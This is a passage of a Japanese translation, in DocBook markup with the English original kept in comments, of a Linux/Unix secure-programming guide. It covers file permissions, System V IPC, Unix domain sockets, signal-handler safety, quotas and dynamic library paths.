<para>
<!--
It's important to note that, for adding and removing files, only the
permission bits and owner of the file's <emphasis>directory</emphasis>
really matter unless the Unix-like system supports
more complex schemes (such as POSIX ACLs).
Unless the system has other extensions, and stock Linux 2.2 doesn't,
a file that has no permissions in its permission bits
can still be removed if its containing directory permits it.
Also, if an ancestor directory permits its children to be changed by some
user or group, then any of that directory's descendants can be replaced by
that user or group.
-->
注意すべき重要な点は、ファイルを追加したり、削除したりするのに関係してくる
のが、そのファイルのパーミッションを表すビットとそのファイルがある<emphasis>
ディレクトリ</emphasis>の所有者だけ、という点です。その Unix ライクなシステム
が、より高度な手法(POSIX ACL のような)を持っていれば話は別ですが。
システムに他の拡張機能がない場合(Linux 2.2 は普通は持っていません)は
パーミッションを表すビットに何もパーミッションが無いファイルは、ディレクトリ
に許可があるなら削除できてしまいます。
また、親ディレクトリが子ディレクトリにユーザやグループを変更できるように
していると、そのディレクトリ配下のものはすべて、そのユーザとグループに置き換え
が可能になります。
</para>

<para>
<!--
The draft IEEE POSIX standard on security defines a technique for
true ACLs that support a list of users and groups with their permissions.
Unfortunately, this is not widely supported nor supported exactly the
same way across Unix-like systems.
Stock Linux 2.2, for example, has neither ACLs nor POSIX capability
values in the filesystem.
-->
セキュリティに関して、IEEE の POSIX 規格では、ACL に関してのきちんとした
技術を定義していて、ユーザやグループが持つパーミッションのリストをサポート
しています。
ただ残念なことに、広くサポートされていないだけでなく、Unix ライクなシステム
であってもきちんと同じ方法でサポートされていません。
たとえば、普通の Linux 2.2はファイルシステムに ACL はおろか、POSIX ケイパ
ビリティの値すら持っていません。
</para>

<para>
<!--
It's worth noting that in Linux, the Linux ext2
filesystem by default reserves a small amount of space for the root user.
This is a partial defense against denial-of-service attacks; even if a user
fills a disk that is shared with the root user, the root user has a little
space left over (e.g., for critical functions).
The default is 5&percnt; of the filesystem space; see mke2fs(8),
in particular its ``-m'' option.
-->
Linux で注目に値するのは、デフォルトでは root ユーザに対して ext2 ファイル
システムの領域をほんのわずかしか割り当てない点です。
これは、不完全ではありますがサービス拒否攻撃に対して防御になります。
あるユーザが root ユーザと共有しているディスクを一杯にしたとしても、root 
ユーザには使い残しでちょっとした領域が残ります(たとえば重要な機能のために
とっておけます)。
デフォルトでは、ファイルシステム領域の 5&percnt; が確保されています。mke2fs(8)
の「-m」オプションをよく見てください。
</para>

</sect2>

<sect2 id="fso-initial-values">
<!-- <title>Creation Time Initial Values</title> -->
<title>作成日時の初期値</title>

<para>
<!--
At creation time, the following rules apply.
On most Unix systems, when a new filesystem object is created via creat(2)
or open(2), the FSO UID is set to the process' EUID and the FSO's GID is
set to the process' EGID.
Linux works slightly differently due to its FSUID
extensions; the FSO's UID is set to the process' FSUID, and the FSO GID
is set to the process' FSGUID; if the
containing directory's setgid bit is set or the filesystem's
``GRPID'' flag is set, the FSO GID is actually set to the
GID of the containing directory.
Many systems, including Sun Solaris and Linux, also support the
setgid directory extensions.
As noted earlier,
this special case supports ``project'' directories: to make a ``project''
directory, create a special group for the project,
create a directory for the project owned by that group, then make the
directory setgid: files placed there
are automatically owned by the project.
Similarly, if a new subdirectory is created inside a directory with the
setgid bit set (and the filesystem GRPID isn't set), the new subdirectory
will also have its setgid bit set (so that project subdirectories will
``do the right thing''.); in all other cases the setgid is clear for a new file.
This is the rationale for the ``user-private group'' scheme
(used by Red Hat Linux and some others).
In this scheme,
every user is a member of a ``private'' group with just themselves as members,
so their defaults can permit the group to read and write any file
(since they're the only member of the group).
Thus, when the file's group membership
is transferred this way, read and write privileges
are transferred too.
-->
作成日時には、下記のルールを適用しています。
Unix システムでは、新しいファイルシステム・オブジェクトが creat(2) や open(2)
で作成されると、uid にはそのプロセスの euid が設定され、gid にはそのプロセス
の egid が設定されるケースが多くあります。
Linux では fsuid という拡張機能がある分、少々異なっています。
uid にはそのプロセスの fsuid が、gid にはそのプロセスの fsguid が設定されます。
ディレクトリに setgid ビットが立っているか、そのファイルシステムの grpid が
立っていれば、gid はそのディレクトリの gid が実際には設定されます。
ディレクトリに setgid する拡張機能は、Sun Solaris や Linux を含む多くの
システムでサポートしています。
先に書きましたが、「プロジェクト」ディレクトリ(ある「プロジェクト」用の
ディレクトリ)では、そのプロジェクト用に特別にグループを作成します。
ディレクトリはそのグループが所有者で setgid してあります。そこにファイルを
置くと、自動的にプロジェクトが所有することになります。
同様に、setgid ビットが立っているディレクトリ中に新しいサブディレクトリを
作成すると(ファイルシステムの grpid も設定していない)、新しいサブディレクトリ
にもその setgid ビットが設定されます(つまりプロジェクト用のサブディレクトリ
にも好都合です)。これ以外のケースでは、setgid は新しく作成したファイルに対して
は普通に振る舞います。「ユーザプライベートグループ」という仕組みの理論的な
根拠がここにあります(Red Hat Linux 他で使われています)。
この仕組みにおいては、メンバーそれぞれは自分たちだけで構成している
「プライベート」グループに属していて、デフォルトではそのグループにどのファイル
の読み書きも可能としています(グループに属しているのは自分たちだけなので)。
このように、ファイルのグループ構成メンバーが継承されると、読み書きの権限も
継承されるわけです。
【訳註：ユーザプライベートグループについては、この説明だけではわかり難いので、
<ulink url="http://www.jp.redhat.com/manual/Doc71/RHDOCS/rhl-rg-ja-7.1/s1-users-groups-private-groups.html">ユーザプライベートグループ</ulink>
も参照してみてください】
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.redhat.com/support/manuals/RHL-6.2-Manual/ref-guide/s1-sysadmin-usr-grps.html -->
<!--
FSO basic access control values (read, write, execute) are computed from
(requested values &amp; ~ umask of process).
New files always start with a clear sticky bit and clear setuid bit.
-->
基本的なファイルシステム・オブジェクトのアクセス制御の値(読み書き、実行)は、
(要求された値 &amp; ~ プロセスの umask)から割り出します。
新しいファイルでは、sticky ビットも setuid ビットも常に立っていません。
</para>

</sect2>

<sect2 id="changing-acls">
<!-- <title>Changing Access Control Attributes</title> -->
<title>アクセス制御属性の変更</title>

<para>
<!--
You can set most of these values with chmod(2), fchmod(2), or chmod(1)
but see also chown(1), and chgrp(1).
In Linux, some of the Linux-unique attributes are manipulated using chattr(1).
-->
chmod(2)や fchmod(2)、chmod(1) を使って変更できますが、chown(1)や chgrp(1) 
も見てください。
Linux では、Linux 独自の属性を chattr(1)で操作できるものもあります。
</para>

<para>
<!--
Note that in Linux, only root can change the owner of a given file.
Some Unix-like systems allow ordinary users to transfer ownership of their
files to another, but this causes complications and is forbidden by Linux.
For example, if you're trying to limit disk usage,
allowing such operations would allow users to claim that large files
actually belonged to some other ``victim''.
-->
Linux で注意する点は、root だけしかファイルの所有者を変更できない点です。
Unix ライクなシステムには、一般ユーザでも他のユーザにファイルの所有権を
移動できてしまうものもあります。これは混乱を招くもとなので、Linux では許して
いません。
たとえば、ディスク使用量の制限をかけたい場合にそのような操作ができてしまうと、
大きなファイルは他の人(犠牲者)のせいだ、という言い訳を許してしまうことになり
ます。
</para>

</sect2>

<sect2 id="using-acls">
<!-- <title>Using Access Control Attributes</title> -->
<title>アクセス制御属性を使用する</title>

<para>
<!--
Under Linux and most Unix-like systems, reading and writing
attribute values are only checked when the file is opened; they
are not re-checked on every read or write.
Still, a large number of calls do check these attributes,
since the filesystem is so central to Unix-like systems.
Calls that check these attributes
include open(2), creat(2), link(2), unlink(2), rename(2),
mknod(2), symlink(2), and socket(2).
-->
Linux や他の Unix ライクなシステムの大半では、読み書きの属性値はファイルを
オープンした時にだけチェックされます。つまりその後に読み書きしても、再チェック
は行われません。
しかし、ファイルシステムは Unix ライクなシステムの根幹なので、システム
コールを何度も呼び出すことで、これらの属性をチェックしています。
これらの属性をチェックするシステムコールには、open(2)や creat(2)、link(2)、
unlink(2)、rename(2)、mknod(2)、symlink(2)、socket(2) があります。
</para>

</sect2>

<sect2 id="filesystem-hierarchy">
<!-- <title>Filesystem Hierarchy</title> -->
<title>ファイルシステムの階層</title>

<para>
<!--
Over the years conventions have been built on ``what files to place where''.
Where possible,
please follow conventional use when placing information in the hierarchy.
For example, place global configuration information in /etc.
The Filesystem Hierarchy Standard (FHS) tries to
define these conventions in a logical manner, and is widely used by
Linux systems.
The FHS is an update to the previous
Linux Filesystem Structure standard (FSSTND), incorporating lessons
learned and approaches from Linux, BSD, and System V systems.
See <ulink
url="http://www.pathname.com/fhs">http://www.pathname.com/fhs</ulink> for more information about the FHS.
A summary of these conventions is in hier(5) for Linux
and hier(7) for Solaris.
Sometimes different conventions disagree; where possible, make these
situations configurable at compile or installation time.
-->
長年の慣例で、「何のファイルはどこに置く」という約束事があります。
出来るだけきまりを守って、ディレクトリ階層の中に情報を格納してください。
たとえば、全体に関連する設定情報は /etc に置いてください。
Filesystem Hierarchy Standard (FHS)は、この慣例を論理的に定義しようとして
おり、Linux システムは広く採用しています。
FHS は従来の Linux Filesystem Structure standard (FSSTND)をアップデート
したもので、Linux や BSD、System V から知恵を拝借しています。
<ulink
url="http://www.pathname.com/fhs">http://www.pathname.com/fhs</ulink> に
FHS の情報がありますから、ご覧ください。
概略については Linux では hier(5)を、Solaris では hier(7)を参照してください。
慣例は時には一致しない場合がありますが、コンパイルやインストール時に可能
な限り融通が効くようにしておいてください。
</para>

<para>
<!--
I should note that the FHS has been adopted by the
<ulink url="http://www.linuxbase.org">Linux Standard Base</ulink> which
is developing and promoting a set of standards to increase
compatibility among Linux distributions and to enable
software applications to run on any compliant Linux system.
-->
<ulink url="http://www.linuxbase.org">Linux Standard Base</ulink> が、FHS を
採用したことに触れておきます。この組織は Linux ディストリビューション間の
互換性を高め、準拠した Linux システムならどんなソフトウェアでも動作するように
規格を作り、それを促進する機関です。
</para>

</sect2>

</sect1>

<sect1 id="sysv-ipc">
<!-- <title>System V IPC</title> -->
<title>System V IPC</title>

<para>
<!--
Many Unix-like systems, including
Linux and System V systems, support System V interprocess communication
(IPC) objects.
Indeed System V IPC is required by the
Open Group's Single UNIX Specification, Version 2
[Open Group 1997].
-->
Linux や System V を含む Unix ライクなシステムの多くは、System V のプロセス間
通信(IPC)をサポートしています。
事実、System V IPC は Open Group の Single UNIX Specification Version 2 
で必須になっています[Open Group 1997]。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: how about BSD variants? -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: is this the same as "POSIX shm"? John Levon asked; I think
  they're the same but I'm not certain. -->
<!--
System V IPC objects can be one of three kinds:
System V message queues, semaphore sets, and shared memory segments. 
Each such object has the following attributes:
-->
System V の IPC は 3 つのものから構成されています。メッセージ・キュー、
セマフォ、共有メモリがそれです。
それぞれの属性は下記の通りです。
<itemizedlist>
<listitem>

<para>
<!--
read and write permissions for each of creator, creator group, and
others.
-->
作成者や作成者が属するグループ、その他の者の読み書きのパーミッション。
</para>
</listitem>
<listitem>

<para>
<!--
creator UID and GID - UID and GID of the creator of the object.
-->
作成者 uid と gid ――作成者の uid と gid。
</para>
</listitem>
<listitem>

<para>
<!--
owning UID and GID - UID and GID of the owner of the
object (initially equal to the creator UID).
-->
所有者 uid と gid ――所有者の uid と gid(初期状態では作成者の uid と同じ)。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!-- When accessing such objects, the rules are as follows: -->
下記のルールにもとづいてアクセスします。

<itemizedlist>
<listitem>

<para>
<!-- if the process has root privileges, the access is granted. -->
プロセスが root の権限を持っていれば、アクセスは許可されます。
</para>
</listitem>
<listitem>

<para>
<!--
if the process' EUID is the owner or creator UID of the object,
then the appropriate creator permission bit is
checked to see if access is granted.
-->
プロセスの euid が所有者もしくは作成者の uid と同じなら、作成者の
パーミッションを見て、問題なければアクセスが許可されます。
</para>
</listitem>
<listitem>

<para>
<!--
if the process' EGID is the owner or creator GID of the object,
or one of the process' groups is the owning or creating GID of the object,
then the appropriate creator group permission bit is checked for access.
-->
プロセスの euid が所有者もしくは作成者の gid と同じ、もしくはプロセス
の属するグループの中に所有者もしくは作成者の gid と同じものがあれば、作成者
のパーミッションを見て、問題なければアクセスが許可されます。
</para>
</listitem>
<listitem>

<para>
<!--
otherwise, the appropriate ``other'' permission bit is checked
for access.
-->
以上に当てはまらなければ、「その他のユーザ」のパーミッションをチェックします。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!--
Note that root, or a process with the EUID of either the owner or creator,
can set the owning UID and owning GID and/or remove the object.
More information is available in ipc(5).
-->
root もしくは 所有者や作成者の euid を持つプロセスは、所有者の uid や gid を
設定でき、また削除も可能であることを忘れないでください。詳しくは ipc(5)を
参照してください。
</para>

</sect1>

<sect1 id="sockets">
<!-- <title>Sockets and Network Connections</title> -->
<title>ソケットとネットワーク接続</title>

<para>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Sockets are supported by System V according to Linux's socket(2) -->
<!--
Sockets are used for communication, particularly over a network.
Sockets were originally developed by the
BSD branch of Unix systems, but they are generally portable to other
Unix-like systems: Linux and System V variants support sockets as well, and
socket support is required by the Open Group's
Single Unix Specification [Open Group 1997].
System V systems traditionally used a different (incompatible) network
communication interface, but it's worth noting that systems like Solaris
include support for sockets.
Socket(2) creates an endpoint for communication and returns a descriptor,
in a manner similar to open(2) for files.
The parameters for socket specify the protocol family and type,
such as the Internet domain (TCP/IP version 4), Novell's IPX,
or the ``Unix domain''.
A server then typically calls bind(2), listen(2), and accept(2) or select(2).
A client typically calls bind(2) (though that may be omitted) and
connect(2).
See these routine's respective man pages for more information.
It can be difficult to understand how to use sockets from their man pages;
you might want to consult other papers such as
Hall "Beej" [1999]
to learn how these calls are used together.
-->
ソケットは情報を伝える手段として、特にネットワーク越しの通信に使用されて
います。
ソケットは、そもそも Unix システムの流れの 1 つである BSD 系が開発しました。
しかし他の Unix ライクなシステムに対しても、およそ移植しやすくなっています。
Linux や System V 系はソケットを BSD と同レベルでサポートしており、Open 
Group の Single Unix Specification [Open Group 1997]でも必須とされています。
以前 System V システムでは、ネットワーク越しの通信インタフェースを別に持って
いました(互換性がありませんでした)が、Solaris のようなシステムもソケットを
サポートしているのは注目に値します。
socket(2)は情報を伝えるための接続ポイントを作成し、それを示すディスクリプタ
を返します。これはファイルに対する open(2)とある意味同じです。
ソケットのパラメタには、プロトコル・ファミリーとタイプを指定します。つまり
インターネット・ドメイン(TCP/IP version 4)や Novell の IPX もしくは「Unix 
ドメイン」というように。
サーバは、通常は bind(2)を呼んでから listen(2)を呼び、accept(2) もしくは 
select(2)します。
クライアントはというと、bind(2)(省略される場合あり)を呼び、connect(2)します。
詳しい情報はそれぞれの man を参照してください。
ソケットを利用するのに man だけでは難しいかもしれません。
Hall "Beej" [1999]のような資料を読んで、どうやってこれらのシステムコールを
組み合わせて利用するのかを学ぶのもよいと思います。
</para>

<para>
<!--
The ``Unix domain sockets'' don't actually represent a network protocol; they
can only connect to sockets on the same machine.
(at the time of this writing for the standard Linux kernel).
When used as a stream, they are fairly similar to named pipes, but with
significant advantages.
In particular, Unix domain socket is connection-oriented; each new connection to
the socket results in a new communication channel, a very different situation
than with named pipes.
Because of this property, Unix domain sockets are often used instead of
named pipes to implement IPC for many important services.
Just like you can have unnamed pipes, you can have unnamed Unix domain sockets
using socketpair(2); unnamed Unix domain sockets
are useful for IPC in a way similar to unnamed pipes.
-->
「Unix ドメイン・ソケット」はネットワーク・プロトコルに実際は該当しません。
というのは、同一マシン上で接続するに過ぎないからです。
(このドキュメントを書いている時点の標準的な Linux カーネルでは)
ストリームとしてこのソケットを使う場合、名前つきパイプと非常に似てはいますが、
際だった長所があります。
Unix ドメイン・ソケットがコネクション指向である点に注目してください。
ソケットに対する新しい接続は、それぞれ新しい接続チャネルとなります。この点が
名前つきパイプとは大きく異なる点です。
この特性によって、Unix ドメイン・ソケットは、名前つきパイプの代わりに
使われ、IPC を実装し、重要なサービスを広く提供しています。
名前なしパイプもそうなのですが、socketpair(2)を使って、名前なしの Unix 
ドメイン・ソケットも使えます。名前なし Unix ドメイン・ソケットは、名前なし
パイプとある程度似ているので、IPC に使えます。
</para>

<para>
<!--
There are several interesting security implications of Unix domain sockets.
First, although Unix domain sockets can appear in the filesystem and can have
stat(2) applied to them, you can't use open(2) to open them (you have
to use the socket(2) and friends interface).
Second, Unix domain sockets can be used to pass
file descriptors between processes (not just the file's contents).
This odd capability, not available in any other IPC mechanism, has been used
to hack all sorts of schemes (the descriptors can basically
be used as a limited version of the
``capability'' in the computer science sense of the term).
File descriptors are sent using sendmsg(2), where the msg (message)'s
field msg&lowbar;control points to an array of control message headers
(field msg&lowbar;controllen must specify the number of bytes contained in the array).
Each control message is a struct cmsghdr followed by data, and for this purpose
you want the cmsg&lowbar;type set to SCM&lowbar;RIGHTS.
A file descriptor is retrieved through recvmsg(2) and then tracked down in
the analogous way.
Frankly, this feature is quite baroque, but it's worth knowing about.
-->
Unix ドメイン・ソケットには、セキュリティに関する興味深い点がいくつかあります。
まず、Unix ドメイン・ソケットはファイルシステム上に存在するように見え、stat(2) 
も利用できますが、open(2)では開けません(socket(2)とその仲間のインタフェース
を使わなければいけません)。
次に、Unix ドメイン・ソケットはファイル・ディスクリプタでプロセス間をやりとり
します(ファイルの中身ではなく)。
この変わった機能は、これまで色々な場面で使われてきました。他の IPC の手段
では、この機能を利用できません(ディスクリプタは、そもそもコンピュータ・
サイエンスの言葉で言う「ケイパビリティ」の制限版として利用できます)。
ファイルディスクリプタを sendmsg(2)を使って送り、そこにある msg(メッセージ)
フィールドに当たる msg&lowbar;control が control message のヘッダ配列を指し
示しています(msg&lowbar;controllen フィールドは配列が何バイトあるのかを指定
していなければいけません)。
control message は cmsghdr 構造体になっていて、制御データの後に実データが
続いています。この目的に使うなら、cmsg&lowbar;type に SCM&lowbar;RIGHTS 
を設定してください。
ファイルディスクリプタは recvmsg(2) を使って取り出し、後は似たような方法で
データに行き着きます。
正直いうと、この機能はとても奇をてらった方法ですが、知っておいても無駄では
ありません。
</para>

<para>
<!--
Linux 2.2 and later
supports an additional feature in Unix domain sockets: you can
acquire the peer's ``credentials'' (the pid, uid, and gid).
Here's some sample code:
-->
Linux 2.2 以降で Unix ドメイン・ソケットにさらに機能が追加されています。
それは相手側の「認証」ができる点です(pid や uid、gid を利用可能)。
サンプルコードは下記のようになります。
<programlisting width="61">
<![CDATA[
 /* fd= file descriptor of Unix domain socket connected
    to the client you wish to identify */

 struct ucred cr;
 int cl=sizeof(cr);

 if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &cr, &cl)==0) {
   printf("Peer's pid=%d, uid=%d, gid=%d\n",
           cr.pid, cr.uid, cr.gid);
]]>
</programlisting>
</para>

<para>
<!--
Standard Unix convention is that binding to
TCP and UDP local port numbers less than 1024 requires
root privilege, while any process can bind to an unbound port number
of 1024 or greater.
Linux follows this convention,
more specifically, Linux requires a process to have the
capability CAP&lowbar;NET&lowbar;BIND&lowbar;SERVICE to bind to a port number less than 1024;
this capability is normally only held by processes with an EUID of 0.
The adventurous can check this in Linux by examining its Linux's source;
in Linux 2.2.12, it's file <filename>/usr/src/linux/net/ipv4/af&lowbar;inet.c</filename>,
function inet&lowbar;bind().
-->
標準的な Unix での慣例では、TCP や UDP のローカルなポート番号は 1024 より
小さく、root の権限が必要になります。一方プロセスは 1024 以上のポートで
あれば、制限無しにつなげられます。
Linux はこの慣例を踏襲していて、さらにプロセスは 
CAP&lowbar;NET&lowbar;BIND&lowbar;SERVICE というケイパビリティが必要となり、
これで 1024 以下のポート番号に接続できます。
通常このケイパビリティは、euid が 0 であるプロセスだけが持つことができます。
冒険好きな人なら、Linux のソースを調べればわかります。
Linux 2.2.12 なら <filename>/usr/src/linux/net/ipv4/af&lowbar;inet.c</filename> 
にある関数の inet&lowbar;bind()がそれです。
</para>

</sect1>

<sect1 id="signals">
<!-- <title>Signals</title> -->
<title>シグナル</title>

<para>
<!--
Signals are a simple form of ``interruption'' in the Unix-like OS world,
and are an ancient part of Unix.
A process can set a ``signal'' on another process (say using
kill(1) or kill(2)), and that other process would receive and
handle the signal asynchronously.
For a process to have permission to send an arbitrary
signal to some other process,
the sending process must either have root privileges, or
the real or effective user ID of the sending process
must equal the real or saved set-user-ID of the receiving process.
However, some signals can be sent in other ways.
In particular, SIGURG can be delivered over a network through the
TCP/IP out-of-band (OOB) message.
-->
シグナルは、Unix ライクな OS 世界における単純な「割り込み」方式で、
Unix では古くからある機能の 1 つです。
プロセスは、「シグナル」を別のプロセスに送れ(たとえば kill(1)や kill(2)
を使って)、その相手のプロセスはそれを受取り、非同期にそのシグナルを
扱います。
プロセスが他のプロセスに任意のシグナルを送るには、送り手のプロセスが
root もしくは、相手のプロセスの実もしくは実効ユーザ id の権限を持って
いなければいけません。
しかし、シグナルを別の方法で送ることもできます。
特に SIGURG はネットワーク越しに TCP/IP のアウト・オブ・バンド(out-of-band
(OOB))メッセージを使って送れます。
【訳註：「アウト・オブ・バンド」とは、データとは独立の通信経路を使って、
制御用情報を交換することです】
</para>

<para>
<!--
Although signals are an ancient part of Unix, they've had different
semantics in different implementations.
Basically, they involve questions such as ``what happens when a signal
occurs while handling another signal''?
The older Linux libc 5 used a different set of semantics for some signal
operations than the newer GNU libc libraries.
Calling C library functions is often unsafe within a
signal handler, and even some system calls aren't safe;
you need to examine the documentation for each call you make to see
if it promises to be safe to call inside a signal.
For more information, see the glibc FAQ (on some systems a local
copy is available at <filename>/usr/doc/glibc-*/FAQ</filename>).
-->
シグナルはいにしえからの Unix の機能の 1 つですが、実装も書き方もさまざまです。
「シグナルを処理している時に、他のシグナルが発生したらどうなるか？」という
根本的な問題を抱えています。
libc5 を採用している古い Linux ではシグナルのいくつかで操作方法が最新の GNU 
libc ライブラリと異なる点があります。
シグナルハンドラで C ライブラリ関数を安全に呼び出せない場合がよくあり、
システムコールの中にさえ、安全でないものがあります。
ドキュメントを確認して、シグナルから呼び出しても安全であることが保証されて
いるかを確認してください。
詳しい情報は、glibc FAQ(ローカルに <filename>/usr/doc/glibc-*/FAQ</filename> 
というコピーがあるシステムもあります)を見てください。
</para>

<para>
<!--
For new programs, just use the POSIX signal system
(which in turn was based on BSD work); this set is widely supported
and doesn't have some of the problems
that some of the older signal systems did.
The POSIX signal system is based on using the sigset&lowbar;t datatype,
which can
be manipulated through a set of operations: sigemptyset(),
sigfillset(), sigaddset(), sigdelset(), and sigismember().
You can read about these in sigsetops(3).
Then use sigaction(2), sigprocmask(2),
sigpending(2), and sigsuspend(2) to set up an manipulate signal handling
(see their man pages for more information).
-->
新しくプログラムを書くなら、POSIX シグナルシステム(BSD のものにかわって)
を使ってください。この仕組みは広くサポートされていて、古いシグナルシステム
が持っていた問題のいくつかを解決しています。
POSIX シグナルシステムは、sigset&lowbar;t というデータ型を使うことを前提に
していて、そのデータ型を扱う関数によって操作できます。その関数は、
sigemptyset()と sigfillset()、sigaddset()、sigdelset()、sigismember()です。
sigsetops(3)にこれらの関数についての説明があります。
設定したなら、sigaction(2)や sigprocmask(2)、sigpending(2)、
sigsuspend(2)を使って、シグナルの操作を設定してください(詳細な情報は man を
見てください)。

</para>

<para>
<!--
In general, make any signal handlers very short and simple, and
look carefully for race conditions.
Signals, since they are by nature asynchronous,
can easily cause race conditions.
-->
通常はシグナルハンドラをどれもできるだけ短くかつ単純にし、競合状態に注意を
向けてください。
シグナルはそもそも非同期に発生するので、恐らく競合状態が起こるでしょう。
</para>

<para>
<!--
A common convention exists for servers: if you receive SIGHUP, you should
close any log files, reopen and reread configuration files, and then
re-open the log files.
This supports reconfiguration without halting the server and
log rotation without data loss.
If you are writing a server where this convention makes sense,
please support it.
-->
サーバにはある共通した慣例があります。SIGHUP を受けた場合には、ログファイル
をすべて閉じ、設定ファイルを再オープンして読み込み、再びログファイルを開き
ます。
これでサーバを止めず再設定が行え、データをなくすことなくログをローテーション
できます。
何らかのサーバを書いていて、この慣例をなるほどと思うなら、ぜひこの機能を
サポートしてください。
</para>

<para>
<!--
Michal Zalewski [2001] has written an excellent tutorial on how
signal handlers are exploited, and has recommendations for how to
eliminate signal race problems.
I encourage looking at his summary for more information; here are
my recommendations, which are similar to Michal's work:
-->
Michal Zalewski [2001] はどうやってシグナルハンドラが攻撃を受けるか
について、素晴らしいチュートリアルを書きました。その中でシグナルの競合状態
をいかに排除するかについて、アドバイスをしています。
さらに情報を得たいなら要約を読むようにおすすめします。ここに書くものは、私が
推奨することですが、Michal 氏のものと同様です。
<itemizedlist>
<listitem><para>
<!--
Where possible, have your signal handlers unconditionally set a specific flag
and do nothing else.
-->
可能な限りどんな場合でも、シグナルハンドラは特定のフラグを設定するだけにして、
他に何もさせないようにしてください。
</para></listitem>
<listitem><para>
<!--
If you must have more complex signal handlers,
use only calls specifically designated as being safe for use
in signal handlers.
In particular,
don't use malloc() or free() in C (which on most systems
aren't protected against signals), nor the many functions that depend on them
(such as the printf() family and syslog()).
You could try to ``wrap'' calls to insecure library calls with a check
to a global flag (to avoid re-entry), but I wouldn't recommend it.
-->
より複雑なシグナルハンドラを実装せざるを得ないなら、シグナルハンドラで
使用しても安全である、特に指定があるものだけを利用するようにしてください。
特に、C の malloc() や free()(シグナルから保護されていないシステムが大半)
だけでなく、malloc() と free()に依存しているたくさんの関数(printf() 
ファミリーや syslog()等)を使用しないでください。
「ラッパー」を作って、安全でないライブラリを呼び出すことも可能です。
ラッパーで再入を防ぐためにグローバルなフラグをチェックします。しかしお勧め
はしません。
</para></listitem>
<listitem><para>
<!--
Block signal delivery during all non-atomic operations in the program, and
block signal delivery inside signal handlers.
-->
プログラム中でアトミックでない操作を行っている間は、シグナル送出をブロックし、
シグナルハンドラ内部でもシグナル送出をブロックしてください。
</para></listitem>
</itemizedlist>
</para>

</sect1>

<sect1 id="quotas">
<!--
<title>Quotas and Limits</title>
-->
<title>Quota と リソースの制限</title>

<para>
<!--
Many Unix-like systems have
mechanisms to support filesystem quotas and process resource limits.
This certainly includes Linux.
These mechanisms are particularly useful for preventing denial of service
attacks; by limiting the resources available to each user, you can make
it hard for a single user to use up all the system resources.
Be careful with terminology here, because both filesystem quotas
and process resource limits have ``hard'' and
``soft'' limits but the terms mean slightly different things.
-->
Unix ライクなシステムの多くは、ファイルシステムの割り当て制限(quota)とプロセス
のリソース制限を行なう機能を持っています。
もちろん Linux も持っています。
この仕組みはサービス拒否攻撃を防ぐのに特に役立ちます。各ユーザが利用できる
リソースを制限することで、単独ユーザがシステム全体のリソースを食い尽くしにくく
できます。
この機能には、「ハードな制限」(hard limit)と「ソフトな制限」(soft limit)両方
の意味があり、多少意味が異なるので、注意が必要です。
</para>

<para>
<!--
You can define storage (filesystem) quota limits on each mountpoint
for the number of blocks of storage and/or the number of unique files
(inodes) that can be used, and you can set such limits for a given user
or a given group.
A ``hard'' quota limit is a never-to-exceed limit, while a
``soft'' quota can be temporarily exceeded.
See quota(1), quotactl(2), and quotaon(8).
-->
記憶装置(ファイルシステム)の割り当て制限は、マウントポイント毎に設定が可能で、
特定のユーザやグループがそこで使用できるブロック数やファイル数(inode数)に
制限をかけられます。
「ハードな」ものが制限を越えることができないのに対して、「ソフトな」ものは
一時的に制限を越えることが許されています。
quota(1)、quotactl(2)、quotaon(8)を参照してください。
</para>

<para>
<!--
The rlimit mechanism supports a large number of process quotas, such as
file size, number of child processes, number of open files, and so on.
There is a ``soft'' limit (also called the current limit) and a
``hard limit'' (also called the upper limit).
The soft limit cannot be exceeded at any time, but through calls it can
be raised up to the value of the hard limit.
See getrlimit(2), setrlimit(2), and getrusage(2), sysconf(3), and
ulimit(1).
Note that there are several ways to set these limits, including the
PAM module pam&lowbar;limits.
-->
rlimit は、プロセスに対する数々の割り当て制限を実現する仕組みで、ファイル
サイズや子プロセス数、オープンできるファイル数等を扱えます。
「ソフトな」制限(現状の制限(current limit)とも言う)と「ハードな制限」
(上限(upper limit)とも言う)があります。
ソフトな制限を超えることは決してできませんが、システムコールによってハード
の上限までもっていくことができます。
getrlimit(2)や setrlimit(2)、getrusage(2)、sysconf(3)、ulimit(1)を参照して
ください。
制限をかける方法がいくつかあることに注意してください。PAM モジュールである 
pam&lowbar;limits もその 1 つです。
</para>

</sect1>

<sect1 id="dlls">
<!-- <title>Dynamically Linked Libraries</title> -->
<title>ダイナミックリンク・ライブラリ</title>

<para>
<!--
Practically all programs depend on libraries to execute.
In most modern Unix-like systems, including Linux,
programs are by default compiled to use <emphasis remap="it">dynamically linked libraries</emphasis>
(DLLs).
That way, you can update a library and all the programs using that library
will use the new (hopefully improved) version if they can.
-->
プログラムを実行するには、実際ライブラリが必要となります。
Linux を含む最近の Unix ライクなシステムの大半は、プログラムはデフォルトで
<emphasis remap="it">ダイナミックリンク・ライブラリ</emphasis>(DLL)を使って
コンパイルしてあります。
つまりあるライブラリを更新すれば、そのライブラリを使っているプログラムすべて
が新しい(うまくいけばより良い)バージョンになります。
</para>

<para>
<!--
Dynamically linked libraries are typically placed in one a few special
directories. The usual directories include
<filename>/lib</filename>, <filename>/usr/lib</filename>, <filename>/lib/security</filename>
for PAM modules, 
<filename>/usr/X11R6/lib</filename> for X-windows, and <filename>/usr/local/lib</filename>.
You should use these standard conventions in your programs, in particular,
except during debugging you shouldn't use value computed from the
current directory as a source for dynamically linked libraries (an
attacker may be able to add their own choice ``library'' values).
-->
普通ダイナミックリンク・ライブラリは、特別なディレクトリ数ヶ所に存在します。
通常は、<filename>/lib</filename> や <filename>/usr/lib</filename>、
PAM モジュールの <filename>/lib/security</filename>、
X Window System の <filename>/usr/X11R6/lib</filename>、
<filename>/usr/local/lib</filename> がそれに当たります。
プログラムは、この標準的な慣例を使うようにしてください。デバッグ時を除い
ては、カレントディレクトリからダイナミックリンク・ライブラリが存在する所を
たどっていけるような値を使わないでください(攻撃者が好みの「ライブラリ」を
追加できてしまうかもしれません)。
</para>

<para>
<!--
There are special conventions for naming libraries and having symbolic
links for them, with the result that you can update libraries and still
support programs that want to use old, non-backward-compatible versions
of those libraries.
There are also ways to override specific libraries or even just
